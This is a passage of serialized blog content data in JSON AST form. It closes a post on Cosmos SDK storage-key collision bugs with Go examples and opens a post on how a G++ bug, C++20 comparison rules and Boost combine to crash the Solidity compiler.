values",{"type":25,"tag":201,"props":90136,"children":90137},{"style":220},[90138],{"type":31,"value":423},{"type":25,"tag":201,"props":90140,"children":90141},{"style":246},[90142],{"type":31,"value":86555},{"type":25,"tag":201,"props":90144,"children":90145},{"style":220},[90146],{"type":31,"value":10169},{"type":25,"tag":201,"props":90148,"children":90149},{"style":261},[90150],{"type":31,"value":1383},{"type":25,"tag":201,"props":90152,"children":90153},{"style":214},[90154],{"type":31,"value":86648},{"type":25,"tag":201,"props":90156,"children":90157},{"style":220},[90158],{"type":31,"value":298},{"type":25,"tag":201,"props":90160,"children":90161},{"style":208},[90162],{"type":31,"value":68183},{"type":25,"tag":201,"props":90164,"children":90165},{"style":220},[90166],{"type":31,"value":423},{"type":25,"tag":201,"props":90168,"children":90169},{"style":4925},[90170],{"type":31,"value":86253},{"type":25,"tag":201,"props":90172,"children":90173},{"style":220},[90174],{"type":31,"value":56519},{"type":25,"tag":201,"props":90176,"children":90177},{"class":203,"line":715},[90178],{"type":25,"tag":201,"props":90179,"children":90180},{"style":220},[90181],{"type":31,"value":4853},{"type":25,"tag":201,"props":90183,"children":90184},{"class":203,"line":732},[90185],{"type":25,"tag":201,"props":90186,"children":90187},{"emptyLinePlaceholder":17},[90188],{"type":31,"value":496},{"type":25,"tag":201,"props":90190,"children":90191},{"class":203,"line":749},[90192,90197,90201,90205,90209,90213,90217,90221,90225],{"type":25,"tag":201,"props":90193,"children":90194},{"style":246},[90195],{"type":31,"value":90196},"        values",{"type":25,"tag":201,"props":90198,"children":90199},{"style":220},[90200],{"type":31,"value":423},{"type":25,"tag":201,"props":90202,"children":90203},{"style":246},[90204],{"type":31,"value":86555},{"type":25,"tag":201,"props":90206,"children":90207},{"style":220},[90208],{"type":31,"value":50035},{"type":25,"tag":201,"props":90210,"children":90211},{"style":246},[90212],{"type":31,"value":86824},{"type":25,"tag":201,"props":90214,"children":90215},{"style":220},[90216],{"type":31,"value":10169},{"type":25,"tag":201,"props":90218,"children":90219},{"style":261},[90220],{"type":31,"value":1383},{"type":25,"tag":201,"props":90222,"children":90223},{"style":246},[90224],{"type":31,"value":8934},{"type":25,"tag":201,"props":90226,"children":90227},{"style":220},[90228],{"type":31,"value":327},{"type":25,"tag":201,"props":90230,"children":90231},{"class":203,"line":757},[90232,90236,90240,90245,90249,90254],{"type":25,"tag":201,"props":90233,"children":90234},{"style":246},[90235],{"type":31,"value":28435},{"type":25,"tag":201,"props":90237,"children":90238},{"style":220},[90239],{"type":31,"value":2957},{"type":25,"tag":201,"props":90241,"children":90242},{"style":246},[90243],{"type":31,"value":90244},"iterator",{"type":25,"tag":201,"props":90246,"children":90247},{"style":220},[90248],{"type":31,"value":80},{"type":25,"tag":201,"props":90250,"children":90251},{"style":214},[90252],{"type":31,"value":90253},"Value",{"type":25,"tag":201,"props":90255,"children":90256},{"style":220},[90257],{"type":31,"value":1104},{"type":25,"tag":201,"props":90259,"children":90260},{"class":203,"line":765},[90261],{"type":25,"tag":201,"props":90262,"children":90263},{"style":220},[90264],{"type":31,"value":4853},{"type":25,"tag":201,"props":90266,"children":90267},{"class":203,"line":783},[90268],{"type":25,"tag":201,"props":90269,"children":90270},{"style":220},[90271],{"type":31,"value":4861},{"type":25,"tag":201,"props":90273,"children":90274},{"class":203,"line":792},[90275,90279],{"type":25,"tag":201,"props":90276,"children":90277},{"style":230},[90278],{"type":31,"value":18486},{"type":25,"tag":201,"props":90280,"children":90281},{"style":246},[90282],{"type":31,"value":90283}," values\n",{"type":25,"tag":201,"props":90285,"children":90286},{"class":203,"line":801},[90287],{"type":25,"tag":201,"props":90288,"children":90289},{"style":220},[90290],{"type":31,"value":1187},{"type":25,"tag":34,"props":90292,"children":90293},{},[90294,90296,90302,90303,90309,90311,90316,90318,90323,90325,90330,90332,90338,90340,90346],{"type":31,"value":90295},"By now, you may have already noticed that this implementation suffers from field malleability issues. Imagine a scenario where both ",{"type":25,"tag":115,"props":90297,"children":90299},{"className":90298},[],[90300],{"type":31,"value":90301},"vaultId = 1",{"type":31,"value":12493},{"type":25,"tag":115,"props":90304,"children":90306},{"className":90305},[],[90307],{"type":31,"value":90308},"vaultId = 10",{"type":31,"value":90310}," coexist. If we try to fetch data under ",{"type":25,"tag":115,"props":90312,"children":90314},{"className":90313},[],[90315],{"type":31,"value":90301},{"type":31,"value":90317},", all entries under ",{"type":25,"tag":115,"props":90319,"children":90321},{"className":90320},[],[90322],{"type":31,"value":90308},{"type":31,"value":90324}," will also be returned simply because ",{"type":25,"tag":115,"props":90326,"children":90328},{"className":90327},[],[90329],{"type":31,"value":5516},{"type":31,"value":90331}," is a prefix of ",{"type":25,"tag":115,"props":90333,"children":90335},{"className":90334},[],[90336],{"type":31,"value":90337},"10",{"type":31,"value":90339},". To fix this, we must once again append the ",{"type":25,"tag":115,"props":90341,"children":90343},{"className":90342},[],[90344],{"type":31,"value":90345},"Separator",{"type":31,"value":90347}," to the iterator prefix.",{"type":25,"tag":191,"props":90349,"children":90351},{"code":90350,"language":77248,"meta":7,"className":77249,"style":7},"i := sdk.KVStorePrefixIterator(\n    kvStore,\n    fmt.Sprintf(\"%s%d%s\", PositionMapPrefix, vaultId, Seperator),\n)\n",[90352],{"type":25,"tag":115,"props":90353,"children":90354},{"__ignoreMap":7},[90355,90382,90394,90447],{"type":25,"tag":201,"props":90356,"children":90357},{"class":203,"line":204},[90358,90362,90366,90370,90374,90378],{"type":25,"tag":201,"props":90359,"children":90360},{"style":246},[90361],{"type":31,"value":3641},{"type":25,"tag":201,"props":90363,"children":90364},{"style":261},[90365],{"type":31,"value":77500},{"type":25,"tag":201,"props":90367,"children":90368},{"style":246},[90369],{"type":31,"value":79725},{"type":25,"tag":201,"props":90371,"children":90372},{"style":220},[90373],{"type":31,"value":80},{"type":25,"tag":201,"props":90375,"children":90376},{"style":214},[90377],{"type":31,"value":89540},{"type":25,"tag":201,"props":90379,"children":90380},{"style":220},[90381],{"type":31,"value":4970},{"type":25,"tag":201,"props":90383,"children":90384},{"class":203,"line":226},[90385,90390],{"type":25,"tag":201,"props":90386,"children":90387},{"style":246},[90388],{"type":31,"value":90389},"    kvStore",{"type":25,"tag":201,"props":90391,"children":90392},{"style":220},[90393],{"type":31,"value":547},{"type":25,"tag":201,"props":90395,"children":90396},{"class":203,"line":278},[90397,90402,90406,90410,90414,90419,90423,90427,90431,90435,90439,90443],{"type":25,"tag":201,"props":90398,"children":90399},{"style":246},[90400],{"type":31,"value":90401},"    fmt",{"type":25,"tag":201,"props":90403,"children":90404},{"style":220},[90405],{"type":31,"value":80},{"type":25,"tag":201,"props":90407,"children":90408},{"style":214},[90409],{"type":31,"value":86307},{"type":25,"tag":201,"props":90411,"children":90412},{"style":220},[90413],{"type":31,"value":298},{"type":25,"tag":201,"props":90415,"children":90416},{"style":267},[90417],{"type":31,"value":90418},"\"%s%d%s\"",{"type":25,"tag":201,"props":90420,"children":90421},{"style":220},[90422],{"type":31,"value":919},{"type":25,"tag":201,"props":90424,"children":90425},{"style":246},[90426],{"type":31,"value":89590},{"type":25,"tag":201,"props":90428,"children":90429},{"style":220},[90430],{"type":31,"value":919},{"type":25,"tag":201,"props":90432,"children":90433},{"style":246},[90434],{"type":31,"value":89375},{"type":25,"tag":201,"props":90436,"children":90437},{"style":220},[90438],{"type":31,"value":919},{"type":25,"tag":201,"props":90440,"children":90441},{"style":246},[90442],{"type":31,"value":89706},{"type":25,"tag":201,"props":90444,"children":90445},{"style":220},[90446],{"type":31,"value":8245},{"type":25,"tag":201,"props":90448,"children":90449},{"class":203,"line":311},[90450],{"type":25,"tag":201,"props":90451,"children":90452},{"style":220},[90453],{"type":31,"value":4666},{"type":25,"tag":34,"props":90455,"children":90456},{},[90457,90459,90464],{"type":31,"value":90458},"At first, identifying these serialization issues may seem easy. Once data structures and ",{"type":25,"tag":115,"props":90460,"children":90462},{"className":90461},[],[90463],{"type":31,"value":86061},{"type":31,"value":90465}," usage grow increasingly more complex, developers can unintentionally overlook storage key parsing mistakes.",{"type":25,"tag":34,"props":90467,"children":90468},{},[90469],{"type":31,"value":90470},"Storage keys continue to be a tedious and persistent issue when building on Cosmos. It is crucial to approach development with awareness and care to prevent bugs from creeping into code.",{"type":25,"tag":40,"props":90472,"children":90474},{"id":90473},"real-world-examples-5",[90475],{"type":31,"value":77773},{"type":25,"tag":34,"props":90477,"children":90478},{},[90479,90480,90485,90487,90494,90496,90502],{"type":31,"value":18109},{"type":25,"tag":115,"props":90481,"children":90483},{"className":90482},[],[90484],{"type":31,"value":79546},{"type":31,"value":90486}," previously lacked protection against KVStore ",{"type":25,"tag":71,"props":90488,"children":90491},{"href":90489,"rel":90490},"https://github.com/cosmos/cosmos-sdk/pull/9363",[75],[90492],{"type":31,"value":90493},"key collisions",{"type":31,"value":90495},". This prior oversight allowed developers to unintentionally create two ",{"type":25,"tag":115,"props":90497,"children":90499},{"className":90498},[],[90500],{"type":31,"value":90501},"KVStores",{"type":31,"value":90503}," that were not independent of each other.",{"type":25,"tag":34,"props":90505,"children":90506},{},[90507],{"type":25,"tag":71,"props":90508,"children":90511},{"href":90509,"rel":90510},"https://github.com/cosmos/cosmos-sdk/blob/25bd118e4cc1d60ab2f9d2e0302d271416551aa9/types/store.go#L108",[75],[90512],{"type":31,"value":77823},{"type":25,"tag":191,"props":90514,"children":90516},{"code":90515,"language":77248,"meta":7,"className":77249,"style":7},"func NewKVStoreKeys(names ...string) map[string]*KVStoreKey {\n    keys := make(map[string]*KVStoreKey)\n    for _, name := range names {\n        keys[name] = NewKVStoreKey(name)\n    }\n\n    return keys\n}\n",[90517],{"type":25,"tag":115,"props":90518,"children":90519},{"__ignoreMap":7},[90520,90582,90630,90666,90706,90713,90720,90732],{"type":25,"tag":201,"props":90521,"children":90522},{"class":203,"line":204},[90523,90527,90532,90536,90541,90545,90549,90553,90557,90561,90565,90569,90573,90578],{"type":25,"tag":201,"props":90524,"children":90525},{"style":208},[90526],{"type":31,"value":77384},{"type":25,"tag":201,"props":90528,"children":90529},{"style":214},[90530],{"type":31,"value":90531}," NewKVStoreKeys",{"type":25,"tag":201,"props":90533,"children":90534},{"style":220},[90535],{"type":31,"value":298},{"type":25,"tag":201,"props":90537,"children":90538},{"style":246},[90539],{"type":31,"value":90540},"names",{"type":25,"tag":201,"props":90542,"children":90543},{"style":261},[90544],{"type":31,"value":26785},{"type":25,"tag":201,"props":90546,"children":90547},{"style":4925},[90548],{"type":31,"value":31150},{"type":25,"tag":201,"props":90550,"children":90551},{"style":220},[90552],{"type":31,"value":385},{"type":25,"tag":201,"props":90554,"children":90555},{"style":208},[90556],{"type":31,"value":68183},{"type":25,"tag":201,"props":90558,"children":90559},{"style":220},[90560],{"type":31,"value":423},{"type":25,"tag":201,"props":90562,"children":90563},{"style":4925},[90564],{"type":31,"value":31150},{"type":25,"tag":201,"props":90566,"children":90567},{"style":220},[90568],{"type":31,"value":16907},{"type":25,"tag":201,"props":90570,"children":90571},{"style":261},[90572],{"type":31,"value":6077},{"type":25,"tag":201,"props":90574,"children":90575},{"style":4925},[90576],{"type":31,"value":90577},"KVStoreKey",{"type":25,"tag":201,"props":90579,"children":90580},{"style":220},[90581],{"type":31,"value":327},{"type":25,"tag":201,"props":90583,"children":90584},{"class":203,"line":226},[90585,90590,90594,90598,90602,90606,90610,90614,90618,90622,90626],{"type":25,"tag":201,"props":90586,"children":90587},{"style":246},[90588],{"type":31,"value":90589},"    keys",{"type":25,"tag":201,"props":90591,"children":90592},{"style":261},[90593],{"type":31,"value":77500},{"type":25,"tag":201,"props":90595,"children":90596},{"style":214},[90597],{"type":31,"value":86648},{"type":25,"tag":201,"props":90599,"children":90600},{"style":220},[90601],{"type":31,"value":298},{"type":25,"tag":201,"props":90603,"children":90604},{"style":208},[90605],{"type":31,"value":68183},{"type":25,"tag":201,"props":90607,"children":90608},{"style":220},[90609],{"type":31,"value":423},{"type":25,"tag":201,"props":90611,"children":90612},{"style":4925},[90613],{"type":31,"value":31150},{"type":25,"tag":201,"props":90615,"children":90616},{"style":220},[90617],{"type":31,"value":16907},{"type":25,"tag":201,"props":90619,"children":90620},{"style":261},[90621],{"type":31,"value":6077},{"type":25,"tag":201,"props":90623,"children":90624},{"style":4925},[90625],{"type":31,"value":90577},{"type":25,"tag":201,"props":90627,"children":90628},{"style":220},[90629],{"type":31,"value":4666},{"type":25,"tag":201,"props":90631,"children":90632},{"class":203,"line":278},[90633,90637,90641,90645,90649,90653,90657,90662],{"type":25,"tag":201,"props":90634,"children":90635},{"style":230},[90636],{"type":31,"value":4539},{"type":25,"tag":201,"props":90638,"children":90639},{"style":246},[90640],{"type":31,"value":4544},{"type":25,"tag":201,"props":90642,"children":90643},{"style":220},[90644],{"type":31,"value":919},{"type":25,"tag":201,"props":90646,"children":90647},{"style":246},[90648],{"type":31,"value":49575},{"type":25,"tag":201,"props":90650,"children":90651},{"style":261},[90652],{"type":31,"value":77500},{"type":25,"tag":201,"props":90654,"children":90655},{"style":230},[90656],{"type":31,"value":78483},{"type":25,"tag":201,"props":90658,"children":90659},{"style":246},[90660],{"type":31,"value":90661}," names",{"type":25,"tag":201,"props":90663,"children":90664},{"style":220},[90665],{"type":31,"value":327},{"type":25,"tag":201,"props":90667,"children":90668},{"class":203,"line":311},[90669,90673,90677,90681,90685,90689,90694,90698,90702],{"type":25,"tag":201,"props":90670,"children":90671},{"style":246},[90672],{"type":31,"value":26817},{"type":25,"tag":201,"props":90674,"children":90675},{"style":220},[90676],{"type":31,"value":423},{"type":25,"tag":201,"props":90678,"children":90679},{"style":246},[90680],{"type":31,"value":49575},{"type":25,"tag":201,"props":90682,"children":90683},{"style":220},[90684],{"type":31,"value":10169},{"type":25,"tag":201,"props":90686,"children":90687},{"style":261},[90688],{"type":31,"value":1383},{"type":25,"tag":201,"props":90690,"children":90691},{"style":214},[90692],{"type":31,"value":90693}," NewKVStoreKey",{"type":25,"tag":201,"props":90695,"children":90696},{"style":220},[90697],{"type":31,"value":298},{"type":25,"tag":201,"props":90699,"children":90700},{"style":246},[90701],{"type":31,"value":49575},{"type":25,"tag":201,"props":90703,"children":90704},{"style":220},[90705],{"type":31,"value":4666},{"type":25,"tag":201,"props":90707,"children":90708},{"class":203,"line":330},[90709],{"type":25,"tag":201,"props":90710,"children":90711},{"style":220},[90712],{"type":31,"value":4861},{"type":25,"tag":201,"props":90714,"children":90715},{"class":203,"line":397},[90716],{"type":25,"tag":201,"props":90717,"children":90718},{"emptyLinePlaceholder":17},[90719],{"type":31,"value":496},{"type":25,"tag":201,"props":90721,"children":90722},{"class":203,"line":437},[90723,90727],{"type":25,"tag":201,"props":90724,"children":90725},{"style":230},[90726],{"type":31,"value":18486},{"type":25,"tag":201,"props":90728,"children":90729},{"style":246},[90730],{"type":31,"value":90731}," keys\n",{"type":25,"tag":201,"props":90733,"children":90734},{"class":203,"line":464},[90735],{"type":25,"tag":201,"props":90736,"children":90737},{"style":220},[90738],{"type":31,"value":1187},{"type":25,"tag":34,"props":90740,"children":90741},{},[90742,90744,90749,90751,90756,90758,90763],{"type":31,"value":90743},"Thanks to the diligence of core developers, checks are now enforced and the ",{"type":25,"tag":115,"props":90745,"children":90747},{"className":90746},[],[90748],{"type":31,"value":79546},{"type":31,"value":90750}," will refuse to run if any ",{"type":25,"tag":115,"props":90752,"children":90754},{"className":90753},[],[90755],{"type":31,"value":86061},{"type":31,"value":90757}," keys are prefix of each other. This implementation alleviates developers from having to worry about key collisions on the ",{"type":25,"tag":115,"props":90759,"children":90761},{"className":90760},[],[90762],{"type":31,"value":86061},{"type":31,"value":90764}," level.",{"type":25,"tag":34,"props":90766,"children":90767},{},[90768,90770,90777],{"type":31,"value":90769},"Additional storage key issues like subtle bugs in the Cosmos-SDK have resulted in ",{"type":25,"tag":71,"props":90771,"children":90774},{"href":90772,"rel":90773},"https://github.com/cosmos/cosmos-sdk/issues/12661",[75],[90775],{"type":31,"value":90776},"incorrect iterator behavior",{"type":31,"value":80},{"type":25,"tag":34,"props":90779,"children":90780},{},[90781,90783,90790],{"type":31,"value":90782},"Notably, gradual adoption of the ",{"type":25,"tag":71,"props":90784,"children":90787},{"href":90785,"rel":90786},"https://github.com/cosmos/cosmos-sdk/tree/def657dafa615cb8e8bb072452663893157e073a/collections",[75],[90788],{"type":31,"value":90789},"collections",{"type":31,"value":90791}," storage helpers since Cosmos v0.50 has made it a lot more difficult to write buggy code. This demonstrates the importance of keeping up to date with the latest SDK development to leverage architectural security improvements.",{"type":25,"tag":26,"props":90793,"children":90794},{"id":4323},[90795],{"type":31,"value":4326},{"type":25,"tag":34,"props":90797,"children":90798},{},[90799],{"type":31,"value":90800},"The Cosmos SDK is a powerful tool for those who want to create custom blockchains. However, this flexibility brings about great responsibility. Developers must pay close attention to nuances, as these can expose a large number of potential attack surfaces.",{"type":25,"tag":34,"props":90802,"children":90803},{},[90804],{"type":31,"value":90805},"To recap, we discussed some of the more basic parts of Cosmos-SDK, showcasing common mistakes developers tend to make. Yet, it is important to note that we've only covered the tip of the iceberg. Other attack surfaces, such as authentications in relation to the IBC interface, are fundamentals absolutely worth looking into.",{"type":25,"tag":4349,"props":90807,"children":90808},{},[90809],{"type":31,"value":4353},{"title":7,"searchDepth":226,"depth":226,"links":90811},[90812,90813,90816,90819,90822,90825,90828,90831],{"id":28,"depth":226,"text":32},{"id":76965,"depth":226,"text":76968,"children":90814},[90815],{"id":77770,"depth":278,"text":77773},{"id":78366,"depth":226,"text":78369,"children":90817},[90818],{"id":79015,"depth":278,"text":77773},{"id":79512,"depth":226,"text":79515,"children":90820},[90821],{"id":80812,"depth":278,"text":77773},{"id":82156,"depth":226,"text":82159,"children":90823},[90824],{"id":82694,"depth":278,"text":77773},{"id":84213,"depth":226,"text":84216,"children":90826},[90827],{"id":85093,"depth":278,"text":77773},{"id":86047,"depth":226,"text":86050,"children":90829},[90830],{"id":90473,"depth":278,"text":77773},{"id":4323,"depth":226,"text":4326},"content:blog:2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security",{"_path":90836,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":90837,"description":90838,"author":90839,"image":90840,"date":90842,"tags":90843,"isFeatured":17,"onBlogPage":17,"body":90844,"_type":4371,"_id":93553,"_source":4373,"_file":93554,"_stem":93555,"_extension":4376},"/blog/2025-08-11-compiler-bug-causes-compiler-bug","Compiler Bug Causes Compiler Bug: How a 12-Year-Old G++ Bug Took Down Solidity","A subtle G++ bug from 2012, C++20's new comparison rules, and legacy Boost code can collide to crash Solidity's compiler on valid code. We unpack the surprising chain reaction and how to fix it.","kiprey",{"src":90841,"height":15,"width":15},"/posts/compiler-bug-causes-compiler-bug/title.png","2025-08-11",[5979,30495],{"type":22,"children":90845,"toc":93537},[90846,90851,90988,90993,90998,91003,91008,91121,91126,91131,91136,91176,91189,91194,91212,91217,91220,91226,91240,91253,91258,91271,91276,91288,91301,91306,91309,91315,91321,91378,91383,91389,91403,91438,91446,91454,91474,91480,91485,91925,91933,91977,91982,91990,91998,92037,92042,92050,92055,92058,92064,92070,92095,92107,92134,92167,92172,92175,92181,92200,92718,92731,92749,92772,92783,92788,92891,92896,92901,92915,92920,92996,93014,93019,93022,93028,93040,93052,93392,93397,93415,93420,93423,93429,93434,93452,93472,93475,93481,93500,93503,93507,93512,93523,93528,93533],{"type":25,"tag":34,"props":90847,"children":90848},{},[90849],{"type":31,"value":90850},"Compilers aren't supposed to crash — especially not when compiling perfectly valid code like this:",{"type":25,"tag":191,"props":90852,"children":90854},{"code":90853,"language":5979,"meta":7,"className":5980,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n    function a() public pure returns (uint256) {\n        return 1 ** 2;\n    }\n}\n",[90855],{"type":25,"tag":115,"props":90856,"children":90857},{"__ignoreMap":7},[90858,90866,90884,90891,90908,90950,90974,90981],{"type":25,"tag":201,"props":90859,"children":90860},{"class":203,"line":204},[90861],{"type":25,"tag":201,"props":90862,"children":90863},{"style":4497},[90864],{"type":31,"value":90865},"// SPDX-License-Identifier: UNLICENSED\n",{"type":25,"tag":201,"props":90867,"children":90868},{"class":203,"line":226},[90869,90874,90879],{"type":25,"tag":201,"props":90870,"children":90871},{"style":230},[90872],{"type":31,"value":90873},"pragma",{"type":25,"tag":201,"props":90875,"children":90876},{"style":208},[90877],{"type":31,"value":90878}," solidity",{"type":25,"tag":201,"props":90880,"children":90881},{"style":220},[90882],{"type":31,"value":90883}," ^0.8.25;\n",{"type":25,"tag":201,"props":90885,"children":90886},{"class":203,"line":278},[90887],{"type":25,"tag":201,"props":90888,"children":90889},{"emptyLinePlaceholder":17},[90890],{"type":31,"value":496},{"type":25,"tag":201,"props":90892,"children":90893},{"class":203,"line":311},[90894,90899,90904],{"type":25,"tag":201,"props":90895,"children":90896},{"style":208},[90897],{"type":31,"value":90898},"contract",{"type":25,"tag":201,"props":90900,"children":90901},{"style":4925},[90902],{"type":31,"value":90903}," A",{"type":25,"tag":201,"props":90905,"children":90906},{"style":220},[90907],{"type":31,"value":327},{"type":25,"tag":201,"props":90909,"children":90910},{"class":203,"line":330},[90911,90916,90921,90925,90929,90934,90938,90942,90946],{"type":25,"tag":201,"props":90912,"children":90913},{"style":208},[90914],{"type":31,"value":90915},"    function",{"type":25,"tag":201,"props":90917,"children":90918},{"style":214},[90919],{"type":31,"value":90920}," a",{"type":25,"tag":201,"props":90922,"children":90923},{"style":220},[90924],{"type":31,"value":15545},{"type":25,"tag":201,"props":90926,"children":90927},{"style":208},[90928],{"type":31,"value":62755},{"type":25,"tag":201,"props":90930,"children":90931},{"style":208},[90932],{"type":31,"value":90933}," pure",{"type":25,"tag":201,"props":90935,"children":90936},{"style":230},[90937],{"type":31,"value":77077},{"type":25,"tag":201,"props":90939,"children":90940},{"style":220},[90941],{"type":31,"value":238},{"type":25,"tag":201,"props":90943,"children":90944},{"style":4925},[90945],{"type":31,"value":47244},{"type":25,"tag":201,"props":90947,"children":90948},{"style":220},[90949],{"type":31,"value":275},{"type":25,"tag":201,"props":90951,"children":90952},{"class":203,"line":397},[90953,90957,90961,90966,90970],{"type":25,"tag":201,"props":90954,"children":90955},{"style":230},[90956],{"type":31,"value":17239},{"type":25,"tag":201,"props":90958,"children":90959},{"style":426},[90960],{"type":31,"value":6029},{"type":25,"tag":201,"props":90962,"children":90963},{"style":261},[90964],{"type":31,"value":90965}," **",{"type":25,"tag":201,"props":90967,"children":90968},{"style":426},[90969],{"type":31,"value":9443},{"type":25,"tag":201,"props":90971,"children":90972},{"style":220},[90973],{"type":31,"value":461},{"type":25,"tag":201,"props":90975,"children":90976},{"class":203,"line":437},[90977],{"type":25,"tag":201,"props":90978,"children":90979},{"style":220},[90980],{"type":31,"value":4861},{"type":25,"tag":201,"props":90982,"children":90983},{"class":203,"line":464},[90984],{"type":25,"tag":201,"props":90985,"children":90986},{"style":220},[90987],{"type":31,"value":1187},{"type":25,"tag":34,"props":90989,"children":90990},{},[90991],{"type":31,"value":90992},"Yet running Solidity's compiler (solc) on this file on a standard Ubuntu 22.04 system (G++ 11.4, Boost 1.74) causes an immediate segmentation fault.",{"type":25,"tag":34,"props":90994,"children":90995},{},[90996],{"type":31,"value":90997},"At first, this seemed absurd. The code just returns 1 to the power of 2 — no memory tricks, unsafe casting, or undefined behavior.",{"type":25,"tag":34,"props":90999,"children":91000},{},[91001],{"type":31,"value":91002},"And yet, it crashes.",{"type":25,"tag":34,"props":91004,"children":91005},{},[91006],{"type":31,"value":91007},"Another minimal example?",{"type":25,"tag":191,"props":91009,"children":91011},{"code":91010,"language":5979,"meta":7,"className":5980,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n    function a() public pure {\n        uint256[1] data;\n    }\n}\n",[91012],{"type":25,"tag":115,"props":91013,"children":91014},{"__ignoreMap":7},[91015,91022,91037,91044,91059,91086,91107,91114],{"type":25,"tag":201,"props":91016,"children":91017},{"class":203,"line":204},[91018],{"type":25,"tag":201,"props":91019,"children":91020},{"style":4497},[91021],{"type":31,"value":90865},{"type":25,"tag":201,"props":91023,"children":91024},{"class":203,"line":226},[91025,91029,91033],{"type":25,"tag":201,"props":91026,"children":91027},{"style":230},[91028],{"type":31,"value":90873},{"type":25,"tag":201,"props":91030,"children":91031},{"style":208},[91032],{"type":31,"value":90878},{"type":25,"tag":201,"props":91034,"children":91035},{"style":220},[91036],{"type":31,"value":90883},{"type":25,"tag":201,"props":91038,"children":91039},{"class":203,"line":278},[91040],{"type":25,"tag":201,"props":91041,"children":91042},{"emptyLinePlaceholder":17},[91043],{"type":31,"value":496},{"type":25,"tag":201,"props":91045,"children":91046},{"class":203,"line":311},[91047,91051,91055],{"type":25,"tag":201,"props":91048,"children":91049},{"style":208},[91050],{"type":31,"value":90898},{"type":25,"tag":201,"props":91052,"children":91053},{"style":4925},[91054],{"type":31,"value":90903},{"type":25,"tag":201,"props":91056,"children":91057},{"style":220},[91058],{"type":31,"value":327},{"type":25,"tag":201,"props":91060,"children":91061},{"class":203,"line":330},[91062,91066,91070,91074,91078,91082],{"type":25,"tag":201,"props":91063,"children":91064},{"style":208},[91065],{"type":31,"value":90915},{"type":25,"tag":201,"props":91067,"children":91068},{"style":214},[91069],{"type":31,"value":90920},{"type":25,"tag":201,"props":91071,"children":91072},{"style":220},[91073],{"type":31,"value":15545},{"type":25,"tag":201,"props":91075,"children":91076},{"style":208},[91077],{"type":31,"value":62755},{"type":25,"tag":201,"props":91079,"children":91080},{"style":208},[91081],{"type":31,"value":90933},{"type":25,"tag":201,"props":91083,"children":91084},{"style":220},[91085],{"type":31,"value":327},{"type":25,"tag":201,"props":91087,"children":91088},{"class":203,"line":397},[91089,91094,91098,91102],{"type":25,"tag":201,"props":91090,"children":91091},{"style":4925},[91092],{"type":31,"value":91093},"        uint256",{"type":25,"tag":201,"props":91095,"children":91096},{"style":220},[91097],{"type":31,"value":423},{"type":25,"tag":201,"props":91099,"children":91100},{"style":426},[91101],{"type":31,"value":5516},{"type":25,"tag":201,"props":91103,"children":91104},{"style":220},[91105],{"type":31,"value":91106},"] data;\n",{"type":25,"tag":201,"props":91108,"children":91109},{"class":203,"line":437},[91110],{"type":25,"tag":201,"props":91111,"children":91112},{"style":220},[91113],{"type":31,"value":4861},{"type":25,"tag":201,"props":91115,"children":91116},{"class":203,"line":464},[91117],{"type":25,"tag":201,"props":91118,"children":91119},{"style":220},[91120],{"type":31,"value":1187},{"type":25,"tag":34,"props":91122,"children":91123},{},[91124],{"type":31,"value":91125},"Still crashes.",{"type":25,"tag":34,"props":91127,"children":91128},{},[91129],{"type":31,"value":91130},"So what’s going on?",{"type":25,"tag":34,"props":91132,"children":91133},{},[91134],{"type":31,"value":91135},"We traced it down to a seemingly unrelated C++ line deep in the compiler backend:",{"type":25,"tag":191,"props":91137,"children":91139},{"code":91138,"language":30595,"meta":7,"className":30593,"style":7},"if (*lengthValue == 0) { ... }\n",[91140],{"type":25,"tag":115,"props":91141,"children":91142},{"__ignoreMap":7},[91143],{"type":25,"tag":201,"props":91144,"children":91145},{"class":203,"line":204},[91146,91150,91154,91158,91163,91167,91171],{"type":25,"tag":201,"props":91147,"children":91148},{"style":230},[91149],{"type":31,"value":4105},{"type":25,"tag":201,"props":91151,"children":91152},{"style":220},[91153],{"type":31,"value":238},{"type":25,"tag":201,"props":91155,"children":91156},{"style":261},[91157],{"type":31,"value":6077},{"type":25,"tag":201,"props":91159,"children":91160},{"style":220},[91161],{"type":31,"value":91162},"lengthValue ",{"type":25,"tag":201,"props":91164,"children":91165},{"style":261},[91166],{"type":31,"value":10083},{"type":25,"tag":201,"props":91168,"children":91169},{"style":426},[91170],{"type":31,"value":4554},{"type":25,"tag":201,"props":91172,"children":91173},{"style":220},[91174],{"type":31,"value":91175},") { ... }\n",{"type":25,"tag":34,"props":91177,"children":91178},{},[91179,91181,91187],{"type":31,"value":91180},"That single comparison — a ",{"type":25,"tag":115,"props":91182,"children":91184},{"className":91183},[],[91185],{"type":31,"value":91186},"boost::rational",{"type":31,"value":91188}," compared to 0 — causes infinite recursion in G++ \u003C 14 when compiled under C++20. And the resulting stack overflow crashes solc.",{"type":25,"tag":34,"props":91190,"children":91191},{},[91192],{"type":31,"value":91193},"This post unpacks how this happened — and why none of the individual components are technically \"broken\":",{"type":25,"tag":18183,"props":91195,"children":91196},{},[91197,91202,91207],{"type":25,"tag":6948,"props":91198,"children":91199},{},[91200],{"type":31,"value":91201},"A 12-year-old overload resolution bug in G++",{"type":25,"tag":6948,"props":91203,"children":91204},{},[91205],{"type":31,"value":91206},"An outdated symmetric comparison pattern in Boost",{"type":25,"tag":6948,"props":91208,"children":91209},{},[91210],{"type":31,"value":91211},"A subtle but impactful rewrite rule in C++20",{"type":25,"tag":34,"props":91213,"children":91214},{},[91215],{"type":31,"value":91216},"Put together, they form a perfect storm — one that takes down Solidity compilation on default Linux setups, even though your code is perfectly fine.",{"type":25,"tag":20292,"props":91218,"children":91219},{},[],{"type":25,"tag":26,"props":91221,"children":91223},{"id":91222},"background-the-setup",[91224],{"type":31,"value":91225},"Background: The Setup",{"type":25,"tag":34,"props":91227,"children":91228},{},[91229,91231,91238],{"type":31,"value":91230},"If you follow the ",{"type":25,"tag":71,"props":91232,"children":91235},{"href":91233,"rel":91234},"https://docs.soliditylang.org/en/v0.8.30/installing-solidity.html#building-from-source",[75],[91236],{"type":31,"value":91237},"Solidity build documentation (v0.8.30)",{"type":31,"value":91239},", you'll see it recommends:",{"type":25,"tag":18183,"props":91241,"children":91242},{},[91243,91248],{"type":25,"tag":6948,"props":91244,"children":91245},{},[91246],{"type":31,"value":91247},"Boost ≥ 